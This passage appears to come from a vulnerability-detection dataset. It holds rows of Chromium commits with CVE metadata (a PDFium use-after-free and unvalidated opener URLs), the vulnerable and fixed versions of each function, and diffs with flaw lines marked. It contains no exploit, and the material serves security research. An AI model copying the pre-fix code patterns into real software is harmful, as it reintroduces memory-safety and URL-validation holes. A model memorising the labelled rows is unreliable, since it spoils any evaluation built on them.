if (equalIgnoringCase(getAttribute(aria_readonlyAttr), \"true\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_readonlyAttr), \"true\"))\n return false;\n \n if (isProgressIndicator() || isSlider())\n@@ -1488,9 +1488,9 @@ AccessibilityOrientation AXNodeObject::orientation() const {\n const AtomicString& ariaOrientation =\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kOrientation);\n AccessibilityOrientation orientation = AccessibilityOrientationUndefined;\n- if (equalIgnoringCase(ariaOrientation, \"horizontal\"))\n+ if (equalIgnoringASCIICase(ariaOrientation, \"horizontal\"))\n orientation = AccessibilityOrientationHorizontal;\n- else if (equalIgnoringCase(ariaOrientation, \"vertical\"))\n+ else if (equalIgnoringASCIICase(ariaOrientation, \"vertical\"))\n orientation = AccessibilityOrientationVertical;\n \n switch (roleValue()) {\n@@ -1621,7 +1621,7 @@ RGBA32 AXNodeObject::colorValue() const {\n \n HTMLInputElement* input = toHTMLInputElement(getNode());\n const AtomicString& type = input->getAttribute(typeAttr);\n- if (!equalIgnoringCase(type, \"color\"))\n+ if (!equalIgnoringASCIICase(type, \"color\"))\n return AXObject::colorValue();\n \n // HTMLInputElement::value always returns a string parseable by Color.\n@@ -1636,19 +1636,20 @@ AriaCurrentState AXNodeObject::ariaCurrentState() const {\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kCurrent);\n if (attributeValue.isNull())\n return AriaCurrentStateUndefined;\n- if (attributeValue.isEmpty() || equalIgnoringCase(attributeValue, \"false\"))\n+ if (attributeValue.isEmpty() ||\n+ equalIgnoringASCIICase(attributeValue, \"false\"))\n return AriaCurrentStateFalse;\n- if (equalIgnoringCase(attributeValue, \"true\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"true\"))\n return AriaCurrentStateTrue;\n- if (equalIgnoringCase(attributeValue, \"page\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"page\"))\n return AriaCurrentStatePage;\n- if (equalIgnoringCase(attributeValue, \"step\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"step\"))\n return AriaCurrentStateStep;\n- if (equalIgnoringCase(attributeValue, \"location\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"location\"))\n return AriaCurrentStateLocation;\n- if (equalIgnoringCase(attributeValue, \"date\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"date\"))\n return AriaCurrentStateDate;\n- if (equalIgnoringCase(attributeValue, \"time\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"time\"))\n return AriaCurrentStateTime;\n // An unknown value should return true.\n if (!attributeValue.isEmpty())\n@@ -1660,13 +1661,13 @@ AriaCurrentState AXNodeObject::ariaCurrentState() const {\n InvalidState AXNodeObject::getInvalidState() const {\n const AtomicString& attributeValue =\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kInvalid);\n- if (equalIgnoringCase(attributeValue, \"false\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"false\"))\n return InvalidStateFalse;\n- if (equalIgnoringCase(attributeValue, \"true\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"true\"))\n return InvalidStateTrue;\n- if (equalIgnoringCase(attributeValue, \"spelling\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"spelling\"))\n return InvalidStateSpelling;\n- if (equalIgnoringCase(attributeValue, \"grammar\"))\n+ if (equalIgnoringASCIICase(attributeValue, \"grammar\"))\n return InvalidStateGrammar;\n // A yet unknown value.\n if (!attributeValue.isEmpty())\n@@ -1996,7 +1997,7 @@ String AXNodeObject::textFromDescendants(AXObjectSet& visited,\n // true if any ancestor is hidden, but we need to be able to compute the\n // accessible name of object inside hidden subtrees (for example, if\n // aria-labelledby points to an object that's hidden).\n- if (equalIgnoringCase(child->getAttribute(aria_hiddenAttr), \"true\"))\n+ if (equalIgnoringASCIICase(child->getAttribute(aria_hiddenAttr), \"true\"))\n continue;\n \n // If we're going between two layoutObjects that are in separate"}<_**next**_>{"sha": "3e18e556d466beaf250314eaee1346ca0c2f1955", "filename": "third_party/WebKit/Source/modules/accessibility/AXObject.cpp", "status": "modified", "additions": 9, "deletions": 9, "changes": 18, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXObject.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXObject.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXObject.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -596,7 +596,7 @@ AXObject* AXObject::leafNodeAncestor() const {\n \n const AXObject* AXObject::ariaHiddenRoot() const {\n for (const AXObject* object = this; object; object = object->parentObject()) {\n- if (equalIgnoringCase(object->getAttribute(aria_hiddenAttr), \"true\"))\n+ if (equalIgnoringASCIICase(object->getAttribute(aria_hiddenAttr), \"true\"))\n return object;\n }\n \n@@ -610,9 +610,9 @@ bool AXObject::isDescendantOfDisabledNode() const {\n \n const AXObject* AXObject::disabledAncestor() const {\n const AtomicString& disabled = getAttribute(aria_disabledAttr);\n- if (equalIgnoringCase(disabled, \"true\"))\n+ if (equalIgnoringASCIICase(disabled, \"true\"))\n return this;\n- if (equalIgnoringCase(disabled, \"false\"))\n+ if (equalIgnoringASCIICase(disabled, \"false\"))\n return 0;\n \n if (AXObject* parent = parentObject())\n@@ -723,7 +723,7 @@ String AXObject::recursiveTextAlternative(const AXObject& axObj,\n }\n \n bool AXObject::isHiddenForTextAlternativeCalculation() const {\n- if (equalIgnoringCase(getAttribute(aria_hiddenAttr), \"false\"))\n+ if (equalIgnoringASCIICase(getAttribute(aria_hiddenAttr), \"false\"))\n return false;\n \n if (getLayoutObject())\n@@ -955,10 +955,10 @@ AXSupportedAction AXObject::action() const {\n AccessibilityButtonState AXObject::checkboxOrRadioValue() const {\n const AtomicString& checkedAttribute =\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kChecked);\n- if (equalIgnoringCase(checkedAttribute, \"true\"))\n+ if (equalIgnoringASCIICase(checkedAttribute, \"true\"))\n return ButtonStateOn;\n \n- if (equalIgnoringCase(checkedAttribute, \"mixed\")) {\n+ if (equalIgnoringASCIICase(checkedAttribute, \"mixed\")) {\n // Only checkboxes should support the mixed state.\n AccessibilityRole role = ariaRoleAttribute();\n if (role == CheckBoxRole || role == MenuItemCheckBoxRole)\n@@ -982,7 +982,7 @@ bool AXObject::isMultiline() const {\n if (!isNativeTextControl() && !isNonNativeTextControl())\n return false;\n \n- return equalIgnoringCase(getAttribute(aria_multilineAttr), \"true\");\n+ return equalIgnoringASCIICase(getAttribute(aria_multilineAttr), \"true\");\n }\n \n bool AXObject::ariaPressedIsPresent() const {\n@@ -1063,8 +1063,8 @@ int AXObject::indexInParent() const {\n \n bool AXObject::isLiveRegion() const {\n const AtomicString& liveRegion = liveRegionStatus();\n- return equalIgnoringCase(liveRegion, \"polite\") ||\n- equalIgnoringCase(liveRegion, \"assertive\");\n+ return equalIgnoringASCIICase(liveRegion, \"polite\") ||\n+ equalIgnoringASCIICase(liveRegion, \"assertive\");\n }\n \n AXObject* AXObject::liveRegionRoot() const {"}<_**next**_>{"sha": "0c17502098641388c189e5470a9e77f7a43e7779", "filename": "third_party/WebKit/Source/modules/accessibility/AXObjectCacheImpl.cpp", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXObjectCacheImpl.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXObjectCacheImpl.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXObjectCacheImpl.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -262,7 +262,7 @@ bool nodeHasRole(Node* node, const String& role) {\n if (!node || !node->isElementNode())\n return false;\n \n- return equalIgnoringCase(toElement(node)->getAttribute(roleAttr), role);\n+ return equalIgnoringASCIICase(toElement(node)->getAttribute(roleAttr), role);\n }\n \n AXObject* AXObjectCacheImpl::createFromRenderer(LayoutObject* layoutObject) {\n@@ -1090,8 +1090,8 @@ bool isNodeAriaVisible(Node* node) {\n if (!node->isElementNode())\n return false;\n \n- return equalIgnoringCase(toElement(node)->getAttribute(aria_hiddenAttr),\n- \"false\");\n+ return equalIgnoringASCIICase(toElement(node)->getAttribute(aria_hiddenAttr),\n+ \"false\");\n }\n \n void AXObjectCacheImpl::postPlatformNotification(AXObject* obj,"}<_**next**_>{"sha": "5b3ea88b5fa5cda94305bcbf0bb68c7faaff9528", "filename": "third_party/WebKit/Source/modules/accessibility/AXTableCell.cpp", "status": "modified", "additions": 8, "deletions": 8, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXTableCell.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXTableCell.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXTableCell.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -54,14 +54,14 @@ bool AXTableCell::isTableHeaderCell() const {\n \n bool AXTableCell::isRowHeaderCell() const {\n const AtomicString& scope = getAttribute(scopeAttr);\n- return equalIgnoringCase(scope, \"row\") ||\n- equalIgnoringCase(scope, \"rowgroup\");\n+ return equalIgnoringASCIICase(scope, \"row\") ||\n+ equalIgnoringASCIICase(scope, \"rowgroup\");\n }\n \n bool AXTableCell::isColumnHeaderCell() const {\n const AtomicString& scope = getAttribute(scopeAttr);\n- return equalIgnoringCase(scope, \"col\") ||\n- equalIgnoringCase(scope, \"colgroup\");\n+ return equalIgnoringASCIICase(scope, \"col\") ||\n+ equalIgnoringASCIICase(scope, \"colgroup\");\n }\n \n bool AXTableCell::computeAccessibilityIsIgnored(\n@@ -225,13 +225,13 @@ SortDirection AXTableCell::getSortDirection() const {\n getAOMPropertyOrARIAAttribute(AOMStringProperty::kSort);\n if (ariaSort.isEmpty())\n return SortDirectionUndefined;\n- if (equalIgnoringCase(ariaSort, \"none\"))\n+ if (equalIgnoringASCIICase(ariaSort, \"none\"))\n return SortDirectionNone;\n- if (equalIgnoringCase(ariaSort, \"ascending\"))\n+ if (equalIgnoringASCIICase(ariaSort, \"ascending\"))\n return SortDirectionAscending;\n- if (equalIgnoringCase(ariaSort, \"descending\"))\n+ if (equalIgnoringASCIICase(ariaSort, \"descending\"))\n return SortDirectionDescending;\n- if (equalIgnoringCase(ariaSort, \"other\"))\n+ if (equalIgnoringASCIICase(ariaSort, \"other\"))\n return SortDirectionOther;\n return SortDirectionUndefined;\n }"}<_**next**_>{"sha": "be670ecaaddaaeccafe8037219a26de0a5cf23d2", "filename": "third_party/WebKit/Source/modules/accessibility/InspectorAccessibilityAgent.cpp", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/InspectorAccessibilityAgent.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/InspectorAccessibilityAgent.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/InspectorAccessibilityAgent.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -296,7 +296,7 @@ void fillWidgetStates(AXObject& axObject,\n } else {\n const AtomicString& pressedAttr =\n axObject.getAttribute(HTMLNames::aria_pressedAttr);\n- if (equalIgnoringCase(pressedAttr, \"mixed\"))\n+ if (equalIgnoringASCIICase(pressedAttr, \"mixed\"))\n properties.addItem(\n createProperty(AXWidgetStatesEnum::Pressed,\n createValue(\"mixed\", AXValueTypeEnum::Tristate)));"}
|
static Vector<AtomicString>* createRoleNameVector() {
Vector<AtomicString>* roleNameVector = new Vector<AtomicString>(NumRoles);
for (int i = 0; i < NumRoles; i++)
(*roleNameVector)[i] = nullAtom;
for (size_t i = 0; i < WTF_ARRAY_LENGTH(roles); ++i)
(*roleNameVector)[roles[i].webcoreRole] = AtomicString(roles[i].ariaRole);
for (size_t i = 0; i < WTF_ARRAY_LENGTH(reverseRoles); ++i)
(*roleNameVector)[reverseRoles[i].webcoreRole] =
AtomicString(reverseRoles[i].ariaRole);
return roleNameVector;
}
|
static Vector<AtomicString>* createRoleNameVector() {
Vector<AtomicString>* roleNameVector = new Vector<AtomicString>(NumRoles);
for (int i = 0; i < NumRoles; i++)
(*roleNameVector)[i] = nullAtom;
for (size_t i = 0; i < WTF_ARRAY_LENGTH(roles); ++i)
(*roleNameVector)[roles[i].webcoreRole] = AtomicString(roles[i].ariaRole);
for (size_t i = 0; i < WTF_ARRAY_LENGTH(reverseRoles); ++i)
(*roleNameVector)[reverseRoles[i].webcoreRole] =
AtomicString(reverseRoles[i].ariaRole);
return roleNameVector;
}
|
C
| null | null | null |
@@ -596,7 +596,7 @@ AXObject* AXObject::leafNodeAncestor() const {
const AXObject* AXObject::ariaHiddenRoot() const {
for (const AXObject* object = this; object; object = object->parentObject()) {
- if (equalIgnoringCase(object->getAttribute(aria_hiddenAttr), "true"))
+ if (equalIgnoringASCIICase(object->getAttribute(aria_hiddenAttr), "true"))
return object;
}
@@ -610,9 +610,9 @@ bool AXObject::isDescendantOfDisabledNode() const {
const AXObject* AXObject::disabledAncestor() const {
const AtomicString& disabled = getAttribute(aria_disabledAttr);
- if (equalIgnoringCase(disabled, "true"))
+ if (equalIgnoringASCIICase(disabled, "true"))
return this;
- if (equalIgnoringCase(disabled, "false"))
+ if (equalIgnoringASCIICase(disabled, "false"))
return 0;
if (AXObject* parent = parentObject())
@@ -723,7 +723,7 @@ String AXObject::recursiveTextAlternative(const AXObject& axObj,
}
bool AXObject::isHiddenForTextAlternativeCalculation() const {
- if (equalIgnoringCase(getAttribute(aria_hiddenAttr), "false"))
+ if (equalIgnoringASCIICase(getAttribute(aria_hiddenAttr), "false"))
return false;
if (getLayoutObject())
@@ -955,10 +955,10 @@ AXSupportedAction AXObject::action() const {
AccessibilityButtonState AXObject::checkboxOrRadioValue() const {
const AtomicString& checkedAttribute =
getAOMPropertyOrARIAAttribute(AOMStringProperty::kChecked);
- if (equalIgnoringCase(checkedAttribute, "true"))
+ if (equalIgnoringASCIICase(checkedAttribute, "true"))
return ButtonStateOn;
- if (equalIgnoringCase(checkedAttribute, "mixed")) {
+ if (equalIgnoringASCIICase(checkedAttribute, "mixed")) {
// Only checkboxes should support the mixed state.
AccessibilityRole role = ariaRoleAttribute();
if (role == CheckBoxRole || role == MenuItemCheckBoxRole)
@@ -982,7 +982,7 @@ bool AXObject::isMultiline() const {
if (!isNativeTextControl() && !isNonNativeTextControl())
return false;
- return equalIgnoringCase(getAttribute(aria_multilineAttr), "true");
+ return equalIgnoringASCIICase(getAttribute(aria_multilineAttr), "true");
}
bool AXObject::ariaPressedIsPresent() const {
@@ -1063,8 +1063,8 @@ int AXObject::indexInParent() const {
bool AXObject::isLiveRegion() const {
const AtomicString& liveRegion = liveRegionStatus();
- return equalIgnoringCase(liveRegion, "polite") ||
- equalIgnoringCase(liveRegion, "assertive");
+ return equalIgnoringASCIICase(liveRegion, "polite") ||
+ equalIgnoringASCIICase(liveRegion, "assertive");
}
AXObject* AXObject::liveRegionRoot() const {
|
Chrome
|
d27468a832d5316884bd02f459cbf493697fd7e1
|
62dc793dc640ae5fd16d571a0c9199fe0fb740d0
| 0
|
static Vector<AtomicString>* createRoleNameVector() {
Vector<AtomicString>* roleNameVector = new Vector<AtomicString>(NumRoles);
for (int i = 0; i < NumRoles; i++)
(*roleNameVector)[i] = nullAtom;
for (size_t i = 0; i < WTF_ARRAY_LENGTH(roles); ++i)
(*roleNameVector)[roles[i].webcoreRole] = AtomicString(roles[i].ariaRole);
for (size_t i = 0; i < WTF_ARRAY_LENGTH(reverseRoles); ++i)
(*roleNameVector)[reverseRoles[i].webcoreRole] =
AtomicString(reverseRoles[i].ariaRole);
return roleNameVector;
}
|
186,642
| null |
Remote
|
Not required
|
Partial
|
CVE-2018-6031
|
https://www.cvedetails.com/cve/CVE-2018-6031/
|
CWE-416
|
Medium
|
Partial
|
Partial
| null |
2018-09-25
| 6.8
|
Use after free in PDFium in Google Chrome prior to 64.0.3282.119 allowed a remote attacker to potentially exploit heap corruption via a crafted PDF file.
|
2018-11-20
| null | 8
|
https://github.com/chromium/chromium/commit/01c9a7e71ca435651723e8cbcab0b3ad4c5351e2
|
01c9a7e71ca435651723e8cbcab0b3ad4c5351e2
|
[pdf] Use a temporary list when unloading pages
When traversing the |deferred_page_unloads_| list and handling the
unloads it's possible for new pages to get added to the list which will
invalidate the iterator.
This CL swaps the list with an empty list and does the iteration on the
list copy. New items that are unloaded while handling the defers will be
unloaded at a later point.
Bug: 780450
Change-Id: Ic7ced1c82227109784fb536ce19a4dd51b9119ac
Reviewed-on: https://chromium-review.googlesource.com/758916
Commit-Queue: dsinclair <dsinclair@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Cr-Commit-Position: refs/heads/master@{#515056}
| 2
|
pdf/pdfium/pdfium_engine.cc
|
{"sha": "7c6b7da1c70f4071d071d2f111be90a01b1233b3", "filename": "pdf/pdfium/pdfium_engine.cc", "status": "modified", "additions": 8, "deletions": 2, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/01c9a7e71ca435651723e8cbcab0b3ad4c5351e2/pdf/pdfium/pdfium_engine.cc", "raw_url": "https://github.com/chromium/chromium/raw/01c9a7e71ca435651723e8cbcab0b3ad4c5351e2/pdf/pdfium/pdfium_engine.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/pdf/pdfium/pdfium_engine.cc?ref=01c9a7e71ca435651723e8cbcab0b3ad4c5351e2", "patch": "@@ -1405,9 +1405,15 @@ bool PDFiumEngine::HandleEvent(const pp::InputEvent& event) {\n \n DCHECK(defer_page_unload_);\n defer_page_unload_ = false;\n- for (int page_index : deferred_page_unloads_)\n+\n+ // Store the pages to unload away because the act of unloading pages can cause\n+ // there to be more pages to unload. We leave those extra pages to be unloaded\n+ // on the next go around.\n+ std::vector<int> pages_to_unload;\n+ std::swap(pages_to_unload, deferred_page_unloads_);\n+ for (int page_index : pages_to_unload)\n pages_[page_index]->Unload();\n- deferred_page_unloads_.clear();\n+\n return rv;\n }\n "}
|
bool PDFiumEngine::HandleEvent(const pp::InputEvent& event) {
DCHECK(!defer_page_unload_);
defer_page_unload_ = true;
bool rv = false;
switch (event.GetType()) {
case PP_INPUTEVENT_TYPE_MOUSEDOWN:
rv = OnMouseDown(pp::MouseInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_MOUSEUP:
rv = OnMouseUp(pp::MouseInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_MOUSEMOVE:
rv = OnMouseMove(pp::MouseInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_KEYDOWN:
rv = OnKeyDown(pp::KeyboardInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_KEYUP:
rv = OnKeyUp(pp::KeyboardInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_CHAR:
rv = OnChar(pp::KeyboardInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_TOUCHSTART: {
KillTouchTimer(next_touch_timer_id_);
pp::TouchInputEvent touch_event(event);
if (touch_event.GetTouchCount(PP_TOUCHLIST_TYPE_TARGETTOUCHES) == 1)
ScheduleTouchTimer(touch_event);
break;
}
case PP_INPUTEVENT_TYPE_TOUCHEND:
KillTouchTimer(next_touch_timer_id_);
break;
case PP_INPUTEVENT_TYPE_TOUCHMOVE:
KillTouchTimer(next_touch_timer_id_);
default:
break;
}
DCHECK(defer_page_unload_);
defer_page_unload_ = false;
// Store the pages to unload away because the act of unloading pages can cause
// there to be more pages to unload. We leave those extra pages to be unloaded
// on the next go around.
std::vector<int> pages_to_unload;
std::swap(pages_to_unload, deferred_page_unloads_);
for (int page_index : pages_to_unload)
pages_[page_index]->Unload();
return rv;
}
|
bool PDFiumEngine::HandleEvent(const pp::InputEvent& event) {
DCHECK(!defer_page_unload_);
defer_page_unload_ = true;
bool rv = false;
switch (event.GetType()) {
case PP_INPUTEVENT_TYPE_MOUSEDOWN:
rv = OnMouseDown(pp::MouseInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_MOUSEUP:
rv = OnMouseUp(pp::MouseInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_MOUSEMOVE:
rv = OnMouseMove(pp::MouseInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_KEYDOWN:
rv = OnKeyDown(pp::KeyboardInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_KEYUP:
rv = OnKeyUp(pp::KeyboardInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_CHAR:
rv = OnChar(pp::KeyboardInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_TOUCHSTART: {
KillTouchTimer(next_touch_timer_id_);
pp::TouchInputEvent touch_event(event);
if (touch_event.GetTouchCount(PP_TOUCHLIST_TYPE_TARGETTOUCHES) == 1)
ScheduleTouchTimer(touch_event);
break;
}
case PP_INPUTEVENT_TYPE_TOUCHEND:
KillTouchTimer(next_touch_timer_id_);
break;
case PP_INPUTEVENT_TYPE_TOUCHMOVE:
KillTouchTimer(next_touch_timer_id_);
default:
break;
}
DCHECK(defer_page_unload_);
defer_page_unload_ = false;
for (int page_index : deferred_page_unloads_)
pages_[page_index]->Unload();
deferred_page_unloads_.clear();
return rv;
}
|
C
|
// Store the pages to unload away because the act of unloading pages can cause
// there to be more pages to unload. We leave those extra pages to be unloaded
// on the next go around.
std::vector<int> pages_to_unload;
std::swap(pages_to_unload, deferred_page_unloads_);
for (int page_index : pages_to_unload)
|
for (int page_index : deferred_page_unloads_)
deferred_page_unloads_.clear();
| null |
@@ -1405,9 +1405,15 @@ bool PDFiumEngine::HandleEvent(const pp::InputEvent& event) {
DCHECK(defer_page_unload_);
defer_page_unload_ = false;
- for (int page_index : deferred_page_unloads_)
+
+ // Store the pages to unload away because the act of unloading pages can cause
+ // there to be more pages to unload. We leave those extra pages to be unloaded
+ // on the next go around.
+ std::vector<int> pages_to_unload;
+ std::swap(pages_to_unload, deferred_page_unloads_);
+ for (int page_index : pages_to_unload)
pages_[page_index]->Unload();
- deferred_page_unloads_.clear();
+
return rv;
}
|
Chrome
|
01c9a7e71ca435651723e8cbcab0b3ad4c5351e2
|
345dab421e9ff30af4f11fc0b55ab02bdd7d1011
| 1
|
bool PDFiumEngine::HandleEvent(const pp::InputEvent& event) {
DCHECK(!defer_page_unload_);
defer_page_unload_ = true;
bool rv = false;
switch (event.GetType()) {
case PP_INPUTEVENT_TYPE_MOUSEDOWN:
rv = OnMouseDown(pp::MouseInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_MOUSEUP:
rv = OnMouseUp(pp::MouseInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_MOUSEMOVE:
rv = OnMouseMove(pp::MouseInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_KEYDOWN:
rv = OnKeyDown(pp::KeyboardInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_KEYUP:
rv = OnKeyUp(pp::KeyboardInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_CHAR:
rv = OnChar(pp::KeyboardInputEvent(event));
break;
case PP_INPUTEVENT_TYPE_TOUCHSTART: {
KillTouchTimer(next_touch_timer_id_);
pp::TouchInputEvent touch_event(event);
if (touch_event.GetTouchCount(PP_TOUCHLIST_TYPE_TARGETTOUCHES) == 1)
ScheduleTouchTimer(touch_event);
break;
}
case PP_INPUTEVENT_TYPE_TOUCHEND:
KillTouchTimer(next_touch_timer_id_);
break;
case PP_INPUTEVENT_TYPE_TOUCHMOVE:
// TODO(dsinclair): This should allow a little bit of movement (up to the
// touch radii) to account for finger jiggle.
KillTouchTimer(next_touch_timer_id_);
default:
break;
}
DCHECK(defer_page_unload_);
defer_page_unload_ = false;
//flaw_line_below:
for (int page_index : deferred_page_unloads_)
//fix_flaw_line_below:
//
//fix_flaw_line_below:
// // Store the pages to unload away because the act of unloading pages can cause
//fix_flaw_line_below:
// // there to be more pages to unload. We leave those extra pages to be unloaded
//fix_flaw_line_below:
// // on the next go around.
//fix_flaw_line_below:
// std::vector<int> pages_to_unload;
//fix_flaw_line_below:
// std::swap(pages_to_unload, deferred_page_unloads_);
//fix_flaw_line_below:
// for (int page_index : pages_to_unload)
pages_[page_index]->Unload();
//flaw_line_below:
deferred_page_unloads_.clear();
//fix_flaw_line_below:
//
return rv;
}
|
125,584
| null |
Remote
|
Not required
|
Complete
|
CVE-2013-0840
|
https://www.cvedetails.com/cve/CVE-2013-0840/
| null |
Low
|
Complete
|
Complete
| null |
2013-01-24
| 10
|
Google Chrome before 24.0.1312.56 does not validate URLs during the opening of new windows, which has unspecified impact and remote attack vectors.
|
2017-09-18
| null | 0
|
https://github.com/chromium/chromium/commit/7f48b71cb22bb2fc9fcec2013e9eaff55381a43d
|
7f48b71cb22bb2fc9fcec2013e9eaff55381a43d
|
Filter more incoming URLs in the CreateWindow path.
BUG=170532
Review URL: https://chromiumcodereview.appspot.com/12036002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@178728 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
content/browser/renderer_host/render_view_host_impl.cc
|
{"sha": "a659ea67fa7be30bb38257b1b4003982acdb4deb", "filename": "content/browser/renderer_host/render_message_filter.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/7f48b71cb22bb2fc9fcec2013e9eaff55381a43d/content/browser/renderer_host/render_message_filter.cc", "raw_url": "https://github.com/chromium/chromium/raw/7f48b71cb22bb2fc9fcec2013e9eaff55381a43d/content/browser/renderer_host/render_message_filter.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_message_filter.cc?ref=7f48b71cb22bb2fc9fcec2013e9eaff55381a43d", "patch": "@@ -462,8 +462,8 @@ void RenderMessageFilter::OnCreateWindow(\n bool no_javascript_access;\n bool can_create_window =\n GetContentClient()->browser()->CanCreateWindow(\n- GURL(params.opener_url),\n- GURL(params.opener_security_origin),\n+ params.opener_url,\n+ params.opener_security_origin,\n params.window_container_type,\n resource_context_,\n render_process_id_,"}<_**next**_>{"sha": "7c9df2f6e32df01bebfd331e211fb7dea8ec1d6c", "filename": "content/browser/renderer_host/render_view_host_impl.cc", "status": "modified", "additions": 3, "deletions": 1, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/7f48b71cb22bb2fc9fcec2013e9eaff55381a43d/content/browser/renderer_host/render_view_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/7f48b71cb22bb2fc9fcec2013e9eaff55381a43d/content/browser/renderer_host/render_view_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_view_host_impl.cc?ref=7f48b71cb22bb2fc9fcec2013e9eaff55381a43d", "patch": "@@ -1056,8 +1056,10 @@ void RenderViewHostImpl::CreateNewWindow(\n ViewHostMsg_CreateWindow_Params validated_params(params);\n ChildProcessSecurityPolicyImpl* policy =\n ChildProcessSecurityPolicyImpl::GetInstance();\n- // TODO(cevans): also validate opener_url, opener_security_origin.\n FilterURL(policy, GetProcess(), false, &validated_params.target_url);\n+ FilterURL(policy, GetProcess(), false, &validated_params.opener_url);\n+ FilterURL(policy, GetProcess(), true,\n+ &validated_params.opener_security_origin);\n \n delegate_->CreateNewWindow(route_id, validated_params,\n session_storage_namespace);"}<_**next**_>{"sha": "0b36fdc07f98fe85a2da382ce9ddbf5846299963", "filename": "content/common/view_messages.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/7f48b71cb22bb2fc9fcec2013e9eaff55381a43d/content/common/view_messages.h", "raw_url": "https://github.com/chromium/chromium/raw/7f48b71cb22bb2fc9fcec2013e9eaff55381a43d/content/common/view_messages.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/view_messages.h?ref=7f48b71cb22bb2fc9fcec2013e9eaff55381a43d", "patch": "@@ -314,7 +314,7 @@ IPC_STRUCT_BEGIN(ViewHostMsg_CreateWindow_Params)\n IPC_STRUCT_MEMBER(GURL, opener_url)\n \n // The security origin of the frame initiating the open.\n- IPC_STRUCT_MEMBER(std::string, opener_security_origin)\n+ IPC_STRUCT_MEMBER(GURL, opener_security_origin)\n \n // Whether the opener will be suppressed in the new window, in which case\n // scripting the new window is not allowed."}<_**next**_>{"sha": "47526e0f1198eea87822c8288a1e74426ba18b93", "filename": "content/renderer/render_view_impl.cc", "status": "modified", "additions": 4, "deletions": 2, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/7f48b71cb22bb2fc9fcec2013e9eaff55381a43d/content/renderer/render_view_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/7f48b71cb22bb2fc9fcec2013e9eaff55381a43d/content/renderer/render_view_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_view_impl.cc?ref=7f48b71cb22bb2fc9fcec2013e9eaff55381a43d", "patch": "@@ -1849,8 +1849,10 @@ WebView* RenderViewImpl::createView(\n params.frame_name = frame_name;\n params.opener_frame_id = creator->identifier();\n params.opener_url = 